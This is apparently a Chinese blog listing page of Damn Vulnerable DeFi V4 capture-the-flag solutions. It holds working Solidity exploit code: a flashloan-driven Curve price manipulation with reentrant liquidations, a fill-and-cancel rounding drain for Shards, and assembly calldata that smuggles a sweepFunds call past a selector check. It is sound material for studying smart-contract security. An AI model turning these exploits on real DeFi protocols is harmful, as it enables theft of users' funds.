IPermit2 constant permit2 = IPermit2(0x000000000022D473030F116dDEE9F6B43aC78BA3); IAaveFlashloan AaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8); constructor( IStableSwap _curvePool, CurvyPuppetLending _lending, IERC20 _curveLpToken, address _player, uint256 _treasuryLpBalance, IERC20 _stETH, WETH _weth, address _treasury, DamnValuableToken _dvt ) { curvePool = _curvePool; lending = _lending; curveLpToken = _curveLpToken; player = _player; treasuryLpBalance = _treasuryLpBalance; stETH = _stETH; weth = _weth; treasury = _treasury; dvt = _dvt; } function manipulateCurvePool() public { // Step 1: Add liquidity to the Curve pool weth.withdraw(58685 ether); console.log("LP token price before removing liquidity:", curvePool.get_virtual_price()); // To call the exchange function of the Curve Pool to swap ETH for stETH. stETH.approve(address(curvePool), type(uint256).max); uint256[2] memory amount; amount[0] = 58685 ether; amount[1] = stETH.balanceOf(address(this)); console.log("my weth balance", weth.balanceOf(address(this))); console.log("my eth balance", address(this).balance); curvePool.add_liquidity{value: 58685 ether}(amount, 0); uint256 virtualPrice = curvePool.get_virtual_price(); console.log("LP token price after add liquidity:", virtualPrice); } function removeLiquidity() public { // Step 2: Remove liquidity from the Curve pool uint256[2] memory min_amounts = [uint256(0), uint256(0)]; uint256 lpBalance = curveLpToken.balanceOf(address(this)); curvePool.remove_liquidity(lpBalance - 3000000000000000001, min_amounts); // Removing liquidity console.log("LP token price after2 removing liquidity:", curvePool.get_virtual_price()); } function executeExploit() public { // Allow lending contract to pull collateral IERC20(curvePool.lp_token()).approve(address(permit2), type(uint256).max); permit2.approve({ token: curvePool.lp_token(), spender: address(lending), amount: 5e18, expiration: uint48(block.timestamp) }); stETH.approve(address(AaveV2), type(uint256).max); weth.approve(address(AaveV2), type(uint256).max); address[] memory assets = new address[](2); assets[0] = address(stETH); assets[1] = address(weth); uint256[] memory amounts = new uint256[](2); amounts[0] = 172000 * 1e18; amounts[1] = 20500 * 1e18; uint256[] memory modes = new uint256[](2); modes[0] = 0; modes[1] = 0; AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), bytes(""), 0); weth.transfer(treasury, weth.balanceOf(address(this))); curveLpToken.transfer(treasury, 1); dvt.transfer(treasury, 7500e18); } function executeOperation( address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address initiator, bytes memory params ) external returns (bool) { console.log("AAVE flashloan stETH balance:", stETH.balanceOf(address(this))); console.log(" wETH balancer:", weth.balanceOf(address(Balancer))); address[] memory tokens = new address[](1); tokens[0] = address(weth); uint256[] memory amounts1 = new uint256[](1); amounts1[0] = 37991 ether; bytes memory userData = ""; Balancer.flashLoan(address(this), tokens, amounts1, userData); return true; } function receiveFlashLoan( address[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external { manipulateCurvePool(); removeLiquidity(); weth.deposit{value: 37991 ether}(); weth.transfer(address(Balancer), 37991 ether); uint256 ethAmount = 12963923469069977697655; uint256 min_dy = 1; curvePool.exchange{value: ethAmount}(0, 1, ethAmount, min_dy); weth.deposit{value: 20518 ether}(); console.log(" stETH balance2:", stETH.balanceOf(address(this))); console.log(" wETH balance2:", weth.balanceOf(address(this))); console.log(" ETH balance2:", (address(this).balance)); console.log(" my LP balance2:", curveLpToken.balanceOf(address(this))); } // Receive function to handle ETH receive() external payable { if (msg.sender == address(curvePool)) { console.log("LP token price during removing liquidity:", curvePool.get_virtual_price()); address[3] memory users = [ 0x328809Bc894f92807417D2dAD6b7C998c1aFdac6, // Alice 0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e, // Bob 0xea475d60c118d7058beF4bDd9c32bA51139a74e0 // Charlie ]; console.log("msg.sender", address(this)); for (uint256 i = 0; i < users.length; i++) { lending.liquidate(users[i]); console.log("Liquidated user:", users[i]); } } } } interface IAaveFlashloan { function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; } interface IBalancerVault { function flashLoan(address recipient, address[] memory tokens, uint256[] memory amounts, bytes memory userData) external; }
2025年09月09日
2 阅读
0 评论
1 点赞
2025-09-09
Damn-vulnerable-defi-V4-solution(Shards)
一、Shards背景:我们有一个销售 NFT 的市场。每个 NFT 的价格为 1,000,000e6 USDC,USDC 兑换 DVT 的汇率为 75e15。该市场允许购买 NFT 的一部分,类似于购买股票。总共有 10,000,000e18 股。问题在于 中的以下函数ShardsNFTMarketplace.sol。ShardsFeeVault市场还允许用户质押 DVT 来赚取利息,但这可能与此无关。function fill(uint64 offerId, uint256 want) external returns (uint256 purchaseIndex) { Offer storage offer = offers[offerId]; if (want == 0) revert BadAmount(); if (offer.price == 0) revert UnknownOffer(); if (want > offer.stock) revert OutOfStock(); if (!offer.isOpen) revert NotOpened(offerId); offer.stock -= want; purchaseIndex = purchases[offerId].length; uint256 _currentRate = rate; purchases[offerId].push( Purchase({ shards: want, rate: _currentRate, buyer: msg.sender, timestamp: uint64(block.timestamp), cancelled: false }) ); paymentToken.transferFrom( msg.sender, address(this), want.mulDivDown(_toDVT(offer.price, _currentRate), offer.totalShards) ); if (offer.stock == 0) _closeOffer(offerId); } /** * @notice To cancel open offers once the waiting period is over. */ function cancel(uint64 offerId, uint256 purchaseIndex) external { Offer storage offer = offers[offerId]; Purchase storage purchase = purchases[offerId][purchaseIndex]; address buyer = purchase.buyer; if (msg.sender != buyer) revert NotAllowed(); if (!offer.isOpen) revert NotOpened(offerId); if (purchase.cancelled) revert AlreadyCancelled(); if ( purchase.timestamp + CANCEL_PERIOD_LENGTH < block.timestamp || block.timestamp > purchase.timestamp + TIME_BEFORE_CANCEL ) revert BadTime(); offer.stock += purchase.shards; assert(offer.stock <= offer.totalShards); // invariant purchase.cancelled = true; emit Cancelled(offerId, purchaseIndex); paymentToken.transfer(buyer, purchase.shards.mulDivUp(purchase.rate, 1e6)); } /** * @notice Allows an oracle account to set a new rate of DVT per USDC */ function setRate(uint256 newRate) external { if (msg.sender != oracle) revert NotAllowed(); if (newRate == 0 || rate == newRate) revert BadRate(); rate = newRate; }该fill功能允许我们提交所需数量的股票并使用 DVT 支付:数量 = 需求 / 总碎片数 × 价格 × 费率= want / 10_000_000e18 × 75e15 × 1_000_000 = want × 75 / 1_0_000攻击角度是这里的除法是向下取整的(即使用了floor函数),而Solidity只有整数,所以只要want ≤ 133,支付就是零,即我们可以提交一个fill offer获得133个免费share。让我们看一下这个cancel函数,因为有一个关键缺陷,取消函数会取消我们提交的订单。如果我们取消订单,我们将从这个函数中得到want× 75e15 / 1e6。这里的问题是 1e6 与 1e24 不匹配,也就是总份额。也就是说,这个函数的设计存在错误cancel。因此,通过取消分片为 133 的订单,我们可以得到133 × 75e15 / 1e6 = 9975000000000 DVT 代币。要通过挑战,我们需要获得超过 75e15 个 DVT 代币(相当于市场初始代币数量的 1/10000)。因此,我们至少需要 75e15 / 9975000000000 = 7519 次才能达到目标。function test_shards() public checkSolvedByPlayer { new Attacker(marketplace, token, recovery); }contract Attacker { constructor(ShardsNFTMarketplace marketPlace, DamnValuableToken token, address recovery) { for (uint256 i = 0; i < 7519; i++) { marketPlace.fill(1, 133); marketPlace.cancel(1, i); } token.transfer(recovery, token.balanceOf(address(this))); } }
2025年09月09日
4 阅读
0 评论
1 点赞
2025-09-08
Damn-vulnerable-defi-V4-solution(ABI Smuggling)
一、ABI Smuggling背景:我们拥有一个授权金库,其中包含 1,000,000e18 代币。该金库允许玩家每 15 天最多提取 1e18 代币。金库还允许特定用户清扫资金。但是,此权限由AuthorizedExecutor.sol 中的以下函数强制执行,该函数由授权保险库继承;也就是说,withdraw或sweepFunds只能由合约本身调用。因此,我们可以做的是调用该execute函数来调用保险库。function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) { // Read the 4-bytes selector at the beginning of `actionData` bytes4 selector; uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins assembly { selector := calldataload(calldataOffset) } if (!permissions[getActionId(selector, msg.sender, target)]) { revert NotAllowed(); } _beforeFunctionCall(target, actionData); return target.functionCall(actionData); }根据要求,上述函数中的权限仅允许以下任一操作:(selector, msg.sender, target) = (withdraw, player, vault)(selector, msg.sender, target) = (sweepFunds, sweeper, vault)由于我们是 player,因此我们应该满足条件 1,但实际上要使条件 2 起作用,因为使用选项 1,我们每 15 天只能提取 1e18 个代币,然而总共有 1,000,000e18 个代币。请注意,该execute函数通过读取 calldata 从第 100 个字节开始的 4 个字节来函数选择器execute。这通常是正确的,因为的 calldata结构如下:execute.selector (4 bytes) + target (32 bytes) + offset (32 bytes, 0x40) + length (32 bytes) + selector如果我们直接调用execute,偏移量(字节数据开始的位置;字节数据由bytes.length后跟组成bytes.data)为0x40,并且上面描述的结构成立。然而,这并非必需,因为我们可以execute使用汇编语言调用,并强制将偏移量设置为,例如,0x80并将从位置 100(该位置本应是选择器,但现在由于新的偏移量而未使用)开始的调用数据设置为withdraw.selector,而实际被调用的函数是sweepFunds。更详细地说,我们构造的调用数据是:// execute selector 0x1cff79cd // vault.address 0000000000000000000000001240fa2a84dd9157a0e76b5cfe98b1d52268b264 // offset ->偏移量指向 actionData起始位置。0x80 是 128 字節 (第二個 32 字節) 0000000000000000000000000000000000000000000000000000000000000080 // 這個部分沒有實際用途,通常用來填充固定長度的位置 (第三個 32 字節) 0000000000000000000000000000000000000000000000000000000000000000 // withdraw() 繞過檢查 (第四個 32 字節) **d9caed12**00000000000000000000000000000000000000000000000000000000 // 這表示 actionData 的總長度是 68 字節(0x44 為十六進制的 68) actionData ( 4 + 32 + 32) 0000000000000000000000000000000000000000000000000000000000000044 // sweepFunds calldata 85fb709d00000000000000000000000073030b99950fb19c6a813465e58a0bca5487fbea0000000000000000000000008ad159a275aee56fb2334dbb69036e9c7bacee9bfunction test_abiSmuggling() public checkSolvedByPlayer { address vaultAddr = address(vault); address tokenAddr = address(token); address recoveryAddr = recovery; assembly { let p := mload(0x40) // 指向可用内存首地址 mstore(p, shl(224, 0x1cff79cd)) // 由于mstore是按照 32字节为单位写入需要左移 224 位将 excute 函数的哈希前 // 四字节存储在32 字节中的高 4 字节中 mstore(add(p, 0x04), vaultAddr) // 紧接着将vaultAddr存储到excute后面32 字节的低 20 字节 mstore(add(p, 0x24), 0x80) // 0x24位置存储 actionData的calldata起始位置的offset 0x80(128)字节 // calldata起始位置即0xa4 mstore(add(p, 0x44), 0x00) // 通常用来填充固定长度的位置 此处无用 mstore(add(p, 0x64), shl(224, 0xd9caed12)) // 为了绕过excute检查填充 withdraw mstore(add(p, 0x84), 0x44) // 表示 actiondata 的长度是 68 字节 mstore(add(p, 0xa4), shl(224, 0x85fb709d)) // 此处是真正我们植入的攻击函数 sweepfunds mstore(add(p, 0xa8), recoveryAddr) // seepfunds 的参数 1 receiver mstore(add(p, 0xc8), tokenAddr) // seepfunds 的参数 2 token let success:= call(gas(), vaultAddr, 0, p, 232, 0, 0) if iszero(success) { mstore(0x00, shl(224, 0x6c9d47e8)) // CallError() 把这32字节存到内存地址 0x00,作为revert的返回值 revert(0, 4) // 从内存地址 0x00 开始读只返回前 4 字节 } } }
2025年09月08日
5 阅读
0 评论
1 点赞
1
2
...
6